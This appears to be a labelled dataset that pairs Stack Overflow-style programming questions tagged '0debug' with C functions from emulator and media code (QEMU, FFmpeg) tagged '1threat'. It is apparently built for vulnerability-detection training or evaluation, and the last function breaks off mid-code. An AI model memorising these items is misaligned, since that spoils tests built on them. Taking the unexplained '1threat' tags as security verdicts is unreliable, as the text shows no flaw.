Varying intializer in 'for loop' c++ : int i=0; for(; i<size-1; i++){ int temp = arr[i]; arr[i] = arr[i+1]; arr[i+1] = temp; } Here I started with the fist position of array. What if after the loop I need to execute the for loop again where the for loop starts with the next position of array. Like for first `for loop` starts from: Array[0] Second iteration: Array[1] Third iteration: Array[2] Example: For array: 1 2 3 4 5 for i=0: 2 1 3 4 5, 2 3 1 4 5, 2 3 4 1 5, 2 3 4 5 1 for i=1: 1 3 2 4 5, 1 3 4 2 5, 1 3 4 5 2 so on.
0debug
Create a Kotlin library in Android Studio : <p>I am very new to both the Android and JVM platforms. Using Android Studio, I would like to create an Android app and put most of my business logic in a library. I would also like to just use Kotlin, no Java.</p> <p>When I go to <code>File</code> > <code>New Module</code>, the options listed are</p> <ul> <li>Phone &amp; Tablet module</li> <li>Android Library</li> <li>Instant App</li> <li>Feature Module</li> <li>Android Wear Module</li> <li>Android TV Module</li> <li>Android Things Module</li> <li>Import Gradle Project</li> <li>Import Eclipse ADT Project</li> <li>Import .JAR/.AAR Package</li> <li>Java Library</li> </ul> <p>I can create a Kotlin-based library with the <code>Android Library</code> option, but this also includes a lot of files for dealing with resources and controls.</p> <p>I just want a pure Kotlin library. What is the easiest way to create one? </p> <ul> <li>Can I delete a portion of an Android Library? </li> <li>Can I change some settings in a Java Library? </li> <li>Can I download a plugin that will just give me the option to create a Kotlin library? </li> </ul> <p>I am still a bit confused the file organization in Java/Kotlin/Android projects.</p>
0debug
boot strap grid css horizontal stacking : <p>I'm trying to solve a css problem with bootstrap 'possibly' if we can stack rows with different height like this picture bellow (column has equal width but different height from one another)</p> <p><a href="https://i.stack.imgur.com/eZKXo.png" rel="nofollow noreferrer">horizontal stacking</a></p>
0debug
create a ui date picker in swift : I would like to create a date picker to allow users to make an appointment. The date picker should show 7 days ahead of the current day. And after the appointment is made, a notification will pop up showing that it is confirmed. The UI doesn't matter, something basic is fine. Is that possible? I've been searching online but i couldn't find anything that could help. Please help!
0debug
Displaying only specific records matching a condition from a mysql database : <p>I have the following database</p> <pre><code> Device | Status -------------------- TV1 | off TV2 | on PC | on Printer| off ... | ... </code></pre> <p>I need to generate an html table, using php, displaying ONLY the devices with status ON. The table rows must show the device name and a blinking_led.gif looking like this:</p> <pre><code> Device | Status ----------------- TV2 | 'blinking_led.gif' PC | 'blinking_led.gif' </code></pre>
0debug
static void tcg_out_st (TCGContext *s, TCGType type, int arg, int arg1, tcg_target_long arg2) { if (type == TCG_TYPE_I32) tcg_out_ldst (s, arg, arg1, arg2, STW, STWX); else tcg_out_ldst (s, arg, arg1, arg2, STD, STDX); }
1threat
static int filter_frame(AVFilterLink *inlink, AVFrame *insamplesref) { AResampleContext *aresample = inlink->dst->priv; const int n_in = insamplesref->nb_samples; int64_t delay; int n_out = n_in * aresample->ratio + 32; AVFilterLink *const outlink = inlink->dst->outputs[0]; AVFrame *outsamplesref; int ret; delay = swr_get_delay(aresample->swr, outlink->sample_rate); if (delay > 0) n_out += FFMIN(delay, FFMAX(4096, n_out)); outsamplesref = ff_get_audio_buffer(outlink, n_out); if(!outsamplesref) return AVERROR(ENOMEM); av_frame_copy_props(outsamplesref, insamplesref); outsamplesref->format = outlink->format; av_frame_set_channels(outsamplesref, outlink->channels); outsamplesref->channel_layout = outlink->channel_layout; outsamplesref->sample_rate = outlink->sample_rate; if(insamplesref->pts != AV_NOPTS_VALUE) { int64_t inpts = av_rescale(insamplesref->pts, inlink->time_base.num * (int64_t)outlink->sample_rate * inlink->sample_rate, inlink->time_base.den); int64_t outpts= swr_next_pts(aresample->swr, inpts); aresample->next_pts = outsamplesref->pts = ROUNDED_DIV(outpts, inlink->sample_rate); } else { outsamplesref->pts = AV_NOPTS_VALUE; } n_out = swr_convert(aresample->swr, outsamplesref->extended_data, n_out, (void *)insamplesref->extended_data, n_in); if (n_out <= 0) { av_frame_free(&outsamplesref); av_frame_free(&insamplesref); return 0; } aresample->more_data = outsamplesref->nb_samples == n_out; outsamplesref->nb_samples = n_out; ret = ff_filter_frame(outlink, outsamplesref); aresample->req_fullfilled= 1; av_frame_free(&insamplesref); return ret; }
1threat
how to Convert HTML characters to Text in c# : Tell me how to convert these characters to plain text â„¢ , ® , â„¢ , ® and — this problem occurs when I convert HTML text to string in c#.
0debug
static void disas_arm_insn(DisasContext *s, unsigned int insn) { unsigned int cond, val, op1, i, shift, rm, rs, rn, rd, sh; TCGv_i32 tmp; TCGv_i32 tmp2; TCGv_i32 tmp3; TCGv_i32 addr; TCGv_i64 tmp64; if (arm_dc_feature(s, ARM_FEATURE_M)) { goto illegal_op; } cond = insn >> 28; if (cond == 0xf){ ARCH(5); if (((insn >> 25) & 7) == 1) { if (!arm_dc_feature(s, ARM_FEATURE_NEON)) { goto illegal_op; } if (disas_neon_data_insn(s, insn)) { goto illegal_op; } return; } if ((insn & 0x0f100000) == 0x04000000) { if (!arm_dc_feature(s, ARM_FEATURE_NEON)) { goto illegal_op; } if (disas_neon_ls_insn(s, insn)) { goto illegal_op; } return; } if ((insn & 0x0f000e10) == 0x0e000a00) { if (disas_vfp_insn(s, insn)) { goto illegal_op; } return; } if (((insn & 0x0f30f000) == 0x0510f000) || ((insn & 0x0f30f010) == 0x0710f000)) { if ((insn & (1 << 22)) == 0) { if (!arm_dc_feature(s, ARM_FEATURE_V7MP)) { goto illegal_op; } } ARCH(5TE); return; } if (((insn & 0x0f70f000) == 0x0450f000) || ((insn & 0x0f70f010) == 0x0650f000)) { ARCH(7); return; } if (((insn & 0x0f700000) == 0x04100000) || ((insn & 0x0f700010) == 0x06100000)) { if (!arm_dc_feature(s, ARM_FEATURE_V7MP)) { goto illegal_op; } return; } if ((insn & 0x0ffffdff) == 0x01010000) { ARCH(6); if (((insn >> 9) & 1) != s->bswap_code) { qemu_log_mask(LOG_UNIMP, "arm: unimplemented setend\n"); goto illegal_op; } return; } else if ((insn & 0x0fffff00) == 0x057ff000) { switch ((insn >> 4) & 0xf) { case 1: ARCH(6K); gen_clrex(s); return; case 4: case 5: ARCH(7); return; case 6: gen_lookup_tb(s); return; default: goto illegal_op; } } else if ((insn & 0x0e5fffe0) == 0x084d0500) { if (IS_USER(s)) { goto illegal_op; } ARCH(6); gen_srs(s, (insn & 0x1f), (insn >> 23) & 3, insn & (1 << 21)); return; } else if ((insn & 0x0e50ffe0) == 0x08100a00) { int32_t offset; if (IS_USER(s)) goto illegal_op; ARCH(6); rn = (insn >> 16) & 0xf; addr = load_reg(s, rn); i = (insn >> 23) & 3; switch (i) { case 0: offset = -4; break; case 1: offset = 0; break; case 2: offset = -8; break; case 3: offset = 4; break; default: abort(); } if (offset) tcg_gen_addi_i32(addr, addr, offset); tmp = tcg_temp_new_i32(); gen_aa32_ld32u(tmp, addr, get_mem_index(s)); tcg_gen_addi_i32(addr, addr, 4); tmp2 = tcg_temp_new_i32(); gen_aa32_ld32u(tmp2, addr, get_mem_index(s)); if (insn & (1 << 21)) { switch (i) { case 0: offset = -8; break; case 1: offset = 4; break; case 2: offset = -4; break; case 3: offset = 0; break; default: abort(); } if (offset) tcg_gen_addi_i32(addr, addr, offset); store_reg(s, rn, addr); } else { tcg_temp_free_i32(addr); } gen_rfe(s, tmp, tmp2); return; } else if ((insn & 0x0e000000) == 0x0a000000) { int32_t offset; val = (uint32_t)s->pc; tmp = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp, val); store_reg(s, 14, tmp); offset = (((int32_t)insn) << 8) >> 8; val += (offset << 2) | ((insn >> 23) & 2) | 1; val += 4; gen_bx_im(s, val); return; } else if ((insn & 0x0e000f00) == 0x0c000100) { if (arm_dc_feature(s, ARM_FEATURE_IWMMXT)) { if (extract32(s->c15_cpar, 1, 1)) { if (!disas_iwmmxt_insn(s, insn)) { return; } } } } else if ((insn & 0x0fe00000) == 0x0c400000) { ARCH(5TE); } else if ((insn & 0x0f000010) == 0x0e000010) { } else if ((insn & 0x0ff10020) == 0x01000000) { uint32_t mask; uint32_t val; if (IS_USER(s)) return; mask = val = 0; if (insn & (1 << 19)) { if (insn & (1 << 8)) mask |= CPSR_A; if (insn & (1 << 7)) mask |= CPSR_I; if (insn & (1 << 6)) mask |= CPSR_F; if (insn & (1 << 18)) val |= mask; } if (insn & (1 << 17)) { mask |= CPSR_M; val |= (insn & 0x1f); } if (mask) { gen_set_psr_im(s, mask, 0, val); } return; } goto illegal_op; } if (cond != 0xe) { s->condlabel = gen_new_label(); arm_gen_test_cc(cond ^ 1, s->condlabel); s->condjmp = 1; } if ((insn & 0x0f900000) == 0x03000000) { if ((insn & (1 << 21)) == 0) { ARCH(6T2); rd = (insn >> 12) & 0xf; val = ((insn >> 4) & 0xf000) | (insn & 0xfff); if ((insn & (1 << 22)) == 0) { tmp = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp, val); } else { tmp = load_reg(s, rd); tcg_gen_ext16u_i32(tmp, tmp); tcg_gen_ori_i32(tmp, tmp, val << 16); } store_reg(s, rd, tmp); } else { if (((insn >> 12) & 0xf) != 0xf) goto illegal_op; if (((insn >> 16) & 0xf) == 0) { gen_nop_hint(s, insn & 0xff); } else { val = insn & 0xff; shift = ((insn >> 8) & 0xf) * 2; if (shift) val = (val >> shift) | (val << (32 - shift)); i = ((insn & (1 << 22)) != 0); if (gen_set_psr_im(s, msr_mask(s, (insn >> 16) & 0xf, i), i, val)) { goto illegal_op; } } } } else if ((insn & 0x0f900000) == 0x01000000 && (insn & 0x00000090) != 0x00000090) { op1 = (insn >> 21) & 3; sh = (insn >> 4) & 0xf; rm = insn & 0xf; switch (sh) { case 0x0: if (op1 & 1) { tmp = load_reg(s, rm); i = ((op1 & 2) != 0); if (gen_set_psr(s, msr_mask(s, (insn >> 16) & 0xf, i), i, tmp)) goto illegal_op; } else { rd = (insn >> 12) & 0xf; if (op1 & 2) { if (IS_USER(s)) goto illegal_op; tmp = load_cpu_field(spsr); } else { tmp = tcg_temp_new_i32(); gen_helper_cpsr_read(tmp, cpu_env); } store_reg(s, rd, tmp); } break; case 0x1: if (op1 == 1) { ARCH(4T); tmp = load_reg(s, rm); gen_bx(s, tmp); } else if (op1 == 3) { ARCH(5); rd = (insn >> 12) & 0xf; tmp = load_reg(s, rm); gen_helper_clz(tmp, tmp); store_reg(s, rd, tmp); } else { goto illegal_op; } break; case 0x2: if (op1 == 1) { ARCH(5J); tmp = load_reg(s, rm); gen_bx(s, tmp); } else { goto illegal_op; } break; case 0x3: if (op1 != 1) goto illegal_op; ARCH(5); tmp = load_reg(s, rm); tmp2 = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp2, s->pc); store_reg(s, 14, tmp2); gen_bx(s, tmp); break; case 0x4: { uint32_t c = extract32(insn, 8, 4); if (!arm_dc_feature(s, ARM_FEATURE_CRC) || op1 == 0x3 || (c & 0xd) != 0) { goto illegal_op; } rn = extract32(insn, 16, 4); rd = extract32(insn, 12, 4); tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); if (op1 == 0) { tcg_gen_andi_i32(tmp2, tmp2, 0xff); } else if (op1 == 1) { tcg_gen_andi_i32(tmp2, tmp2, 0xffff); } tmp3 = tcg_const_i32(1 << op1); if (c & 0x2) { gen_helper_crc32c(tmp, tmp, tmp2, tmp3); } else { gen_helper_crc32(tmp, tmp, tmp2, tmp3); } tcg_temp_free_i32(tmp2); tcg_temp_free_i32(tmp3); store_reg(s, rd, tmp); break; } case 0x5: ARCH(5TE); rd = (insn >> 12) & 0xf; rn = (insn >> 16) & 0xf; tmp = load_reg(s, rm); tmp2 = load_reg(s, rn); if (op1 & 2) gen_helper_double_saturate(tmp2, cpu_env, tmp2); if (op1 & 1) gen_helper_sub_saturate(tmp, cpu_env, tmp, tmp2); else gen_helper_add_saturate(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); store_reg(s, rd, tmp); break; case 7: { int imm16 = extract32(insn, 0, 4) | (extract32(insn, 8, 12) << 4); switch (op1) { case 1: ARCH(5); gen_exception_insn(s, 4, EXCP_BKPT, syn_aa32_bkpt(imm16, false), default_exception_el(s)); break; case 2: ARCH(7); if (IS_USER(s)) { goto illegal_op; } gen_hvc(s, imm16); break; case 3: ARCH(6K); if (IS_USER(s)) { goto illegal_op; } gen_smc(s); break; default: goto illegal_op; } break; } case 0x8: case 0xa: case 0xc: case 0xe: ARCH(5TE); rs = (insn >> 8) & 0xf; rn = (insn >> 12) & 0xf; rd = (insn >> 16) & 0xf; if (op1 == 1) { tmp = load_reg(s, rm); tmp2 = load_reg(s, rs); if (sh & 4) tcg_gen_sari_i32(tmp2, tmp2, 16); else gen_sxth(tmp2); tmp64 = gen_muls_i64_i32(tmp, tmp2); tcg_gen_shri_i64(tmp64, tmp64, 16); tmp = tcg_temp_new_i32(); tcg_gen_extrl_i64_i32(tmp, tmp64); tcg_temp_free_i64(tmp64); if ((sh & 2) == 0) { tmp2 = load_reg(s, rn); gen_helper_add_setq(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); } store_reg(s, rd, tmp); } else { tmp = load_reg(s, rm); tmp2 = load_reg(s, rs); gen_mulxy(tmp, tmp2, sh & 2, sh & 4); tcg_temp_free_i32(tmp2); if (op1 == 2) { tmp64 = tcg_temp_new_i64(); tcg_gen_ext_i32_i64(tmp64, tmp); tcg_temp_free_i32(tmp); gen_addq(s, tmp64, rn, rd); gen_storeq_reg(s, rn, rd, tmp64); tcg_temp_free_i64(tmp64); } else { if (op1 == 0) { tmp2 = load_reg(s, rn); gen_helper_add_setq(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); } store_reg(s, rd, tmp); } } break; default: goto illegal_op; } } else if (((insn & 0x0e000000) == 0 && (insn & 0x00000090) != 0x90) || ((insn & 0x0e000000) == (1 << 25))) { int set_cc, logic_cc, shiftop; op1 = (insn >> 21) & 0xf; set_cc = (insn >> 20) & 1; logic_cc = table_logic_cc[op1] & set_cc; if (insn & (1 << 25)) { val = insn & 0xff; shift = ((insn >> 8) & 0xf) * 2; if (shift) { val = (val >> shift) | (val << (32 - shift)); } tmp2 = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp2, val); if (logic_cc && shift) { gen_set_CF_bit31(tmp2); } } else { rm = (insn) & 0xf; tmp2 = load_reg(s, rm); shiftop = (insn >> 5) & 3; if (!(insn & (1 << 4))) { shift = (insn >> 7) & 0x1f; gen_arm_shift_im(tmp2, shiftop, shift, logic_cc); } else { rs = (insn >> 8) & 0xf; tmp = load_reg(s, rs); gen_arm_shift_reg(tmp2, shiftop, tmp, logic_cc); } } if (op1 != 0x0f && op1 != 0x0d) { rn = (insn >> 16) & 0xf; tmp = load_reg(s, rn); } else { TCGV_UNUSED_I32(tmp); } rd = (insn >> 12) & 0xf; switch(op1) { case 0x00: tcg_gen_and_i32(tmp, tmp, tmp2); if (logic_cc) { gen_logic_CC(tmp); } store_reg_bx(s, rd, tmp); break; case 0x01: tcg_gen_xor_i32(tmp, tmp, tmp2); if (logic_cc) { gen_logic_CC(tmp); } store_reg_bx(s, rd, tmp); break; case 0x02: if (set_cc && rd == 15) { if (IS_USER(s)) { goto illegal_op; } gen_sub_CC(tmp, tmp, tmp2); gen_exception_return(s, tmp); } else { if (set_cc) { gen_sub_CC(tmp, tmp, tmp2); } else { tcg_gen_sub_i32(tmp, tmp, tmp2); } store_reg_bx(s, rd, tmp); } break; case 0x03: if (set_cc) { gen_sub_CC(tmp, tmp2, tmp); } else { tcg_gen_sub_i32(tmp, tmp2, tmp); } store_reg_bx(s, rd, tmp); break; case 0x04: if (set_cc) { gen_add_CC(tmp, tmp, tmp2); } else { tcg_gen_add_i32(tmp, tmp, tmp2); } store_reg_bx(s, rd, tmp); break; case 0x05: if (set_cc) { gen_adc_CC(tmp, tmp, tmp2); } else { gen_add_carry(tmp, tmp, tmp2); } store_reg_bx(s, rd, tmp); break; case 0x06: if (set_cc) { gen_sbc_CC(tmp, tmp, tmp2); } else { gen_sub_carry(tmp, tmp, tmp2); } store_reg_bx(s, rd, tmp); break; case 0x07: if (set_cc) { gen_sbc_CC(tmp, tmp2, tmp); } else { gen_sub_carry(tmp, tmp2, tmp); } store_reg_bx(s, rd, tmp); break; case 0x08: if (set_cc) { tcg_gen_and_i32(tmp, tmp, tmp2); gen_logic_CC(tmp); } tcg_temp_free_i32(tmp); break; case 0x09: if (set_cc) { tcg_gen_xor_i32(tmp, tmp, tmp2); gen_logic_CC(tmp); } tcg_temp_free_i32(tmp); break; case 0x0a: if (set_cc) { gen_sub_CC(tmp, tmp, tmp2); } tcg_temp_free_i32(tmp); break; case 0x0b: if (set_cc) { gen_add_CC(tmp, tmp, tmp2); } tcg_temp_free_i32(tmp); break; case 0x0c: tcg_gen_or_i32(tmp, tmp, tmp2); if (logic_cc) { gen_logic_CC(tmp); } store_reg_bx(s, rd, tmp); break; case 0x0d: if (logic_cc && rd == 15) { if (IS_USER(s)) { goto illegal_op; } gen_exception_return(s, tmp2); } else { if (logic_cc) { gen_logic_CC(tmp2); } store_reg_bx(s, rd, tmp2); } break; case 0x0e: tcg_gen_andc_i32(tmp, tmp, tmp2); if (logic_cc) { gen_logic_CC(tmp); } store_reg_bx(s, rd, tmp); break; default: case 0x0f: tcg_gen_not_i32(tmp2, tmp2); if (logic_cc) { gen_logic_CC(tmp2); } store_reg_bx(s, rd, tmp2); break; } if (op1 != 0x0f && op1 != 0x0d) { tcg_temp_free_i32(tmp2); } } else { op1 = (insn >> 24) & 0xf; switch(op1) { case 0x0: case 0x1: sh = (insn >> 5) & 3; if (sh == 0) { if (op1 == 0x0) { rd = (insn >> 16) & 0xf; rn = (insn >> 12) & 0xf; rs = (insn >> 8) & 0xf; rm = (insn) & 0xf; op1 = (insn >> 20) & 0xf; switch (op1) { case 0: case 1: case 2: case 3: case 6: tmp = load_reg(s, rs); tmp2 = load_reg(s, rm); tcg_gen_mul_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); if (insn & (1 << 22)) { ARCH(6T2); tmp2 = load_reg(s, rn); tcg_gen_sub_i32(tmp, tmp2, tmp); tcg_temp_free_i32(tmp2); } else if (insn & (1 << 21)) { tmp2 = load_reg(s, rn); tcg_gen_add_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); } if (insn & (1 << 20)) gen_logic_CC(tmp); store_reg(s, rd, tmp); break; case 4: ARCH(6); tmp = load_reg(s, rs); tmp2 = load_reg(s, rm); tmp64 = gen_mulu_i64_i32(tmp, tmp2); gen_addq_lo(s, tmp64, rn); gen_addq_lo(s, tmp64, rd); gen_storeq_reg(s, rn, rd, tmp64); tcg_temp_free_i64(tmp64); break; case 8: case 9: case 10: case 11: case 12: case 13: case 14: case 15: tmp = load_reg(s, rs); tmp2 = load_reg(s, rm); if (insn & (1 << 22)) { tcg_gen_muls2_i32(tmp, tmp2, tmp, tmp2); } else { tcg_gen_mulu2_i32(tmp, tmp2, tmp, tmp2); } if (insn & (1 << 21)) { TCGv_i32 al = load_reg(s, rn); TCGv_i32 ah = load_reg(s, rd); tcg_gen_add2_i32(tmp, tmp2, tmp, tmp2, al, ah); tcg_temp_free_i32(al); tcg_temp_free_i32(ah); } if (insn & (1 << 20)) { gen_logicq_cc(tmp, tmp2); } store_reg(s, rn, tmp); store_reg(s, rd, tmp2); break; default: goto illegal_op; } } else { rn = (insn >> 16) & 0xf; rd = (insn >> 12) & 0xf; if (insn & (1 << 23)) { int op2 = (insn >> 8) & 3; op1 = (insn >> 21) & 0x3; switch (op2) { case 0: if (op1 == 1) { goto illegal_op; } ARCH(8); break; case 1: goto illegal_op; case 2: ARCH(8); break; case 3: if (op1) { ARCH(6K); } else { ARCH(6); } break; } addr = tcg_temp_local_new_i32(); load_reg_var(s, addr, rn); if (op2 == 0) { if (insn & (1 << 20)) { tmp = tcg_temp_new_i32(); switch (op1) { case 0: gen_aa32_ld32u(tmp, addr, get_mem_index(s)); break; case 2: gen_aa32_ld8u(tmp, addr, get_mem_index(s)); break; case 3: gen_aa32_ld16u(tmp, addr, get_mem_index(s)); break; default: abort(); } store_reg(s, rd, tmp); } else { rm = insn & 0xf; tmp = load_reg(s, rm); switch (op1) { case 0: gen_aa32_st32(tmp, addr, get_mem_index(s)); break; case 2: gen_aa32_st8(tmp, addr, get_mem_index(s)); break; case 3: gen_aa32_st16(tmp, addr, get_mem_index(s)); break; default: abort(); } tcg_temp_free_i32(tmp); } } else if (insn & (1 << 20)) { switch (op1) { case 0: gen_load_exclusive(s, rd, 15, addr, 2); break; case 1: gen_load_exclusive(s, rd, rd + 1, addr, 3); break; case 2: gen_load_exclusive(s, rd, 15, addr, 0); break; case 3: gen_load_exclusive(s, rd, 15, addr, 1); break; default: abort(); } } else { rm = insn & 0xf; switch (op1) { case 0: gen_store_exclusive(s, rd, rm, 15, addr, 2); break; case 1: gen_store_exclusive(s, rd, rm, rm + 1, addr, 3); break; case 2: gen_store_exclusive(s, rd, rm, 15, addr, 0); break; case 3: gen_store_exclusive(s, rd, rm, 15, addr, 1); break; default: abort(); } } tcg_temp_free_i32(addr); } else { rm = (insn) & 0xf; addr = load_reg(s, rn); tmp = load_reg(s, rm); tmp2 = tcg_temp_new_i32(); if (insn & (1 << 22)) { gen_aa32_ld8u(tmp2, addr, get_mem_index(s)); gen_aa32_st8(tmp, addr, get_mem_index(s)); } else { gen_aa32_ld32u(tmp2, addr, get_mem_index(s)); gen_aa32_st32(tmp, addr, get_mem_index(s)); } tcg_temp_free_i32(tmp); tcg_temp_free_i32(addr); store_reg(s, rd, tmp2); } } } else { int address_offset; bool load = insn & (1 << 20); bool doubleword = false; rn = (insn >> 16) & 0xf; rd = (insn >> 12) & 0xf; if (!load && (sh & 2)) { ARCH(5TE); if (rd & 1) { goto illegal_op; } load = (sh & 1) == 0; doubleword = true; } addr = load_reg(s, rn); if (insn & (1 << 24)) gen_add_datah_offset(s, insn, 0, addr); address_offset = 0; if (doubleword) { if (!load) { tmp = load_reg(s, rd); gen_aa32_st32(tmp, addr, get_mem_index(s)); tcg_temp_free_i32(tmp); tcg_gen_addi_i32(addr, addr, 4); tmp = load_reg(s, rd + 1); gen_aa32_st32(tmp, addr, get_mem_index(s)); tcg_temp_free_i32(tmp); } else { tmp = tcg_temp_new_i32(); gen_aa32_ld32u(tmp, addr, get_mem_index(s)); store_reg(s, rd, tmp); tcg_gen_addi_i32(addr, addr, 4); tmp = tcg_temp_new_i32(); gen_aa32_ld32u(tmp, addr, get_mem_index(s)); rd++; } address_offset = -4; } else if (load) { tmp = tcg_temp_new_i32(); switch (sh) { case 1: gen_aa32_ld16u(tmp, addr, get_mem_index(s)); break; case 2: gen_aa32_ld8s(tmp, addr, get_mem_index(s)); break; default: case 3: gen_aa32_ld16s(tmp, addr, get_mem_index(s)); break; } } else { tmp = load_reg(s, rd); gen_aa32_st16(tmp, addr, get_mem_index(s)); tcg_temp_free_i32(tmp); } if (!(insn & (1 << 24))) { gen_add_datah_offset(s, insn, address_offset, addr); store_reg(s, rn, addr); } else if (insn & (1 << 21)) { if (address_offset) tcg_gen_addi_i32(addr, addr, address_offset); store_reg(s, rn, addr); } else { tcg_temp_free_i32(addr); } if (load) { store_reg(s, rd, tmp); } } break; case 0x4: case 0x5: goto do_ldst; case 0x6: case 0x7: if (insn & (1 << 4)) { ARCH(6); rm = insn & 0xf; rn = (insn >> 16) & 0xf; rd = (insn >> 12) & 0xf; rs = (insn >> 8) & 0xf; switch ((insn >> 23) & 3) { case 0: op1 = (insn >> 20) & 7; tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); sh = (insn >> 5) & 7; if ((op1 & 3) == 0 || sh == 5 || sh == 6) goto illegal_op; gen_arm_parallel_addsub(op1, sh, tmp, tmp2); tcg_temp_free_i32(tmp2); store_reg(s, rd, tmp); break; case 1: if ((insn & 0x00700020) == 0) { tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); shift = (insn >> 7) & 0x1f; if (insn & (1 << 6)) { if (shift == 0) shift = 31; tcg_gen_sari_i32(tmp2, tmp2, shift); tcg_gen_andi_i32(tmp, tmp, 0xffff0000); tcg_gen_ext16u_i32(tmp2, tmp2); } else { if (shift) tcg_gen_shli_i32(tmp2, tmp2, shift); tcg_gen_ext16u_i32(tmp, tmp); tcg_gen_andi_i32(tmp2, tmp2, 0xffff0000); } tcg_gen_or_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); store_reg(s, rd, tmp); } else if ((insn & 0x00200020) == 0x00200000) { tmp = load_reg(s, rm); shift = (insn >> 7) & 0x1f; if (insn & (1 << 6)) { if (shift == 0) shift = 31; tcg_gen_sari_i32(tmp, tmp, shift); } else { tcg_gen_shli_i32(tmp, tmp, shift); } sh = (insn >> 16) & 0x1f; tmp2 = tcg_const_i32(sh); if (insn & (1 << 22)) gen_helper_usat(tmp, cpu_env, tmp, tmp2); else gen_helper_ssat(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); store_reg(s, rd, tmp); } else if ((insn & 0x00300fe0) == 0x00200f20) { tmp = load_reg(s, rm); sh = (insn >> 16) & 0x1f; tmp2 = tcg_const_i32(sh); if (insn & (1 << 22)) gen_helper_usat16(tmp, cpu_env, tmp, tmp2); else gen_helper_ssat16(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); store_reg(s, rd, tmp); } else if ((insn & 0x00700fe0) == 0x00000fa0) { tmp = load_reg(s, rn); tmp2 = load_reg(s, rm); tmp3 = tcg_temp_new_i32(); tcg_gen_ld_i32(tmp3, cpu_env, offsetof(CPUARMState, GE)); gen_helper_sel_flags(tmp, tmp3, tmp, tmp2); tcg_temp_free_i32(tmp3); tcg_temp_free_i32(tmp2); store_reg(s, rd, tmp); } else if ((insn & 0x000003e0) == 0x00000060) { tmp = load_reg(s, rm); shift = (insn >> 10) & 3; if (shift != 0) tcg_gen_rotri_i32(tmp, tmp, shift * 8); op1 = (insn >> 20) & 7; switch (op1) { case 0: gen_sxtb16(tmp); break; case 2: gen_sxtb(tmp); break; case 3: gen_sxth(tmp); break; case 4: gen_uxtb16(tmp); break; case 6: gen_uxtb(tmp); break; case 7: gen_uxth(tmp); break; default: goto illegal_op; } if (rn != 15) { tmp2 = load_reg(s, rn); if ((op1 & 3) == 0) { gen_add16(tmp, tmp2); } else { tcg_gen_add_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); } } store_reg(s, rd, tmp); } else if ((insn & 0x003f0f60) == 0x003f0f20) { tmp = load_reg(s, rm); if (insn & (1 << 22)) { if (insn & (1 << 7)) { gen_revsh(tmp); } else { ARCH(6T2); gen_helper_rbit(tmp, tmp); } } else { if (insn & (1 << 7)) gen_rev16(tmp); else tcg_gen_bswap32_i32(tmp, tmp); } store_reg(s, rd, tmp); } else { goto illegal_op; } break; case 2: switch ((insn >> 20) & 0x7) { case 5: if (((insn >> 6) ^ (insn >> 7)) & 1) { goto illegal_op; } tmp = load_reg(s, rm); tmp2 = load_reg(s, rs); tmp64 = gen_muls_i64_i32(tmp, tmp2); if (rd != 15) { tmp = load_reg(s, rd); if (insn & (1 << 6)) { tmp64 = gen_subq_msw(tmp64, tmp); } else { tmp64 = gen_addq_msw(tmp64, tmp); } } if (insn & (1 << 5)) { tcg_gen_addi_i64(tmp64, tmp64, 0x80000000u); } tcg_gen_shri_i64(tmp64, tmp64, 32); tmp = tcg_temp_new_i32(); tcg_gen_extrl_i64_i32(tmp, tmp64); tcg_temp_free_i64(tmp64); store_reg(s, rn, tmp); break; case 0: case 4: if (insn & (1 << 7)) { goto illegal_op; } tmp = load_reg(s, rm); tmp2 = load_reg(s, rs); if (insn & (1 << 5)) gen_swap_half(tmp2); gen_smul_dual(tmp, tmp2); if (insn & (1 << 22)) { TCGv_i64 tmp64_2; tmp64 = tcg_temp_new_i64(); tmp64_2 = tcg_temp_new_i64(); tcg_gen_ext_i32_i64(tmp64, tmp); tcg_gen_ext_i32_i64(tmp64_2, tmp2); tcg_temp_free_i32(tmp); tcg_temp_free_i32(tmp2); if (insn & (1 << 6)) { tcg_gen_sub_i64(tmp64, tmp64, tmp64_2); } else { tcg_gen_add_i64(tmp64, tmp64, tmp64_2); } tcg_temp_free_i64(tmp64_2); gen_addq(s, tmp64, rd, rn); gen_storeq_reg(s, rd, rn, tmp64); tcg_temp_free_i64(tmp64); } else { if (insn & (1 << 6)) { tcg_gen_sub_i32(tmp, tmp, tmp2); } else { gen_helper_add_setq(tmp, cpu_env, tmp, tmp2); } tcg_temp_free_i32(tmp2); if (rd != 15) { tmp2 = load_reg(s, rd); gen_helper_add_setq(tmp, cpu_env, tmp, tmp2); tcg_temp_free_i32(tmp2); } store_reg(s, rn, tmp); } break; case 1: case 3: if (!arm_dc_feature(s, ARM_FEATURE_ARM_DIV)) { goto illegal_op; } if (((insn >> 5) & 7) || (rd != 15)) { goto illegal_op; } tmp = load_reg(s, rm); tmp2 = load_reg(s, rs); if (insn & (1 << 21)) { gen_helper_udiv(tmp, tmp, tmp2); } else { gen_helper_sdiv(tmp, tmp, tmp2); } tcg_temp_free_i32(tmp2); store_reg(s, rn, tmp); break; default: goto illegal_op; } break; case 3: op1 = ((insn >> 17) & 0x38) | ((insn >> 5) & 7); switch (op1) { case 0: ARCH(6); tmp = load_reg(s, rm); tmp2 = load_reg(s, rs); gen_helper_usad8(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); if (rd != 15) { tmp2 = load_reg(s, rd); tcg_gen_add_i32(tmp, tmp, tmp2); tcg_temp_free_i32(tmp2); } store_reg(s, rn, tmp); break; case 0x20: case 0x24: case 0x28: case 0x2c: ARCH(6T2); shift = (insn >> 7) & 0x1f; i = (insn >> 16) & 0x1f; if (i < shift) { goto illegal_op; } i = i + 1 - shift; if (rm == 15) { tmp = tcg_temp_new_i32(); 